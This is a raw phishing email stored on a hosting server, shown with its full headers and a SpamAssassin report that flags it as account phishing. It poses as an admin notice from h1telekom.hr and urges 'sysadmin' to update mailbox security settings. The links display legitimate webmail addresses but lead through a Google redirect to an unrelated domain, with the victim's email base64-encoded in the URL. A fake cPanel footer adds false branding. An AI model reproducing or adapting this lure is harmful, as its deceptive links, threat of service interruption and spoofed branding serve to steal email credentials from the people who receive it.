| Dir : /home/ithome/mail/new/ |
| Server: Linux host100322.itwesthosting.com 3.10.0-1160.144.1.el7.tuxcare.els4.x86_64 #1 SMP Tue Apr 7 08:40:40 UTC 2026 x86_64 IP: 144.91.64.173 |
| Dir : /home/ithome/mail/new/1772682367.M948729P15508.host100322.itwesthosting.com,S=6361,W=6474 |
Return-Path: <support@doctorluiclinic.com>
Delivered-To: ithome@host100322.itwesthosting.com
Received: from host100322.itwesthosting.com
by host100322.itwesthosting.com with LMTP
id ymZtOH/8qGmUPAAAp0YrwQ
(envelope-from <support@doctorluiclinic.com>)
for <ithome@host100322.itwesthosting.com>; Thu, 05 Mar 2026 04:46:07 +0100
Return-path: <support@doctorluiclinic.com>
Envelope-to: sysadmin@h1telekom.hr
Delivery-date: Thu, 05 Mar 2026 04:46:07 +0100
Received: from [147.124.212.138] (port=41695 helo=doctorluiclinic.com)
by host100322.itwesthosting.com with esmtp (Exim 4.96.2)
(envelope-from <support@doctorluiclinic.com>)
id 1vxzf6-00041y-2D
for sysadmin@h1telekom.hr;
Thu, 05 Mar 2026 04:46:07 +0100
From: Admin on h1telekom.hr <suport@h1telekom.hr>
To: sysadmin@h1telekom.hr
Date: 4 Mar 2026 19:46:05 -0800
Message-ID: <20260304194605.55D8E0C6CCC92B49@h1telekom.hr>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-Spam-Status: Yes, score=6.1
X-Spam-Score: 61
X-Spam-Bar: ++++++
X-Spam-Report: Spam detection software, running on the system "host100322.itwesthosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Secure SSL / TLS Settings (Recommended) Hello sysadmin, We’ve
updated your mailbox configuration to enhance security and performance. Please
reconfigure your email client using the updated settings below.
Content analysis details: (6.1 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: 68gamebaipro1.com]
-0.0 SPF_PASS SPF: sender matches SPF record
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
0.1 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.0 WEIRD_PORT URI: Uses non-standard port number for HTTP
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.1 HTTPS_HTTP_MISMATCH BODY: No description available.
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[147.124.212.138 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[147.124.212.138 listed in sa-trusted.bondedsender.org]
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.6 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML
tag
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
3.2 KAM_ACCOUNTPHISH Spam that tries to get account information
0.0 TO_NO_BRKTS_NORDNS_HTML To: lacks brackets and no rDNS and HTML
only
X-Spam-Flag: YES
Subject: ***SPAM*** Action Required: Update Your Email Security Settings
X-From-Rewrite: unmodified, forwarded message
<div class=3D"rcmBody">
<div class=3D"v1email-frame">
<div class=3D"v1frame-content">
<div style=3D"font-family: Roboto, sans-serif; font-size: 14px;=
background-color: rgb(245, 130, 32); color: rgb(255, 255, 255); padding: 1=
0px 15px; border-top-left-radius: 3px; border-top-right-radius: 3px; font-w=
eight: bold;">Secure <abbr title=3D"Secure Sockets Layer">SSL</abbr> / <abb=
r title=3D"Transport Layer Security">TLS</abbr> Settings (Recommended)</div=
>
<div style=3D"color: rgb(44, 54, 58); font-family: Roboto, sans=
-serif; font-size: 14px; padding: 15px; line-height: 1.6;">
<p>Hello sysadmin,</p>
<p>We’ve updated your mailbox configuration to enhanc=
e <strong>security</strong> and <strong>performance</strong>. Please reconf=
igure your email client using the updated settings below.</p>
<p><strong>Important:</strong> Not applying these settings =
may result in service interruption.</p>
<p><strong>Name: </strong>sysadmin<br><strong>Date:&nb=
sp;</strong>4 Mar 2026<br><strong>Status: </strong>Pending<br><strong>=
Username: sysadmin@h1telekom.hr</strong><br><strong>Server: </strong><=
a href=3D"https://www.google.com/url?q=3Dhttps%3A%2F%2F68gamebaipro1.com%2F=
redirect%2F&sa=3DD&sntz=3D1&usg=3DAOvVaw0l0NuSbBXMwDnDByLesjR-#?90809876543=
45Redirect=3Dc3lzYWRtaW5AaDF0ZWxla29tLmhy" style=3D"color: rgb(17, 85, 204)=
;" target=3D"_blank" rel=3D"noopener noreferrer">https://webmail.h1telekom.=
hr:2096</a><br><strong>Verification Number: {-random-</strong>}<br><strong>=
SSL/TLS Encryption: </strong>Enabled</p>
<p>Click the link below to update your email settings:<br><=
a href=3D"https://www.google.com/url?q=3Dhttps%3A%2F%2F68gamebaipro1.com%2F=
redirect%2F&sa=3DD&sntz=3D1&usg=3DAOvVaw0l0NuSbBXMwDnDByLesjR-#?90809876543=
45Redirect=3Dc3lzYWRtaW5AaDF0ZWxla29tLmhy" style=3D"color: rgb(17, 85, 204)=
;" target=3D"_blank" rel=3D"noopener noreferrer">https://h1telekom.hr:2096/=
setup/email_update=3Dasp</a></p>
<p style=3D"text-align: center; margin-top: 30px; font-fami=
ly: Georgia, serif; font-size: 18px;"><em><strong><span style=3D"color: rgb=
(255, 0, 0);">cP</span></strong></em><br><span style=3D"font-size: 12px; fo=
nt-family: arial, helvetica, sans-serif;">Copyright © 2026 cPanel, L.L=
=2EC.</span></p>
</div>
</div>
</div>
</div>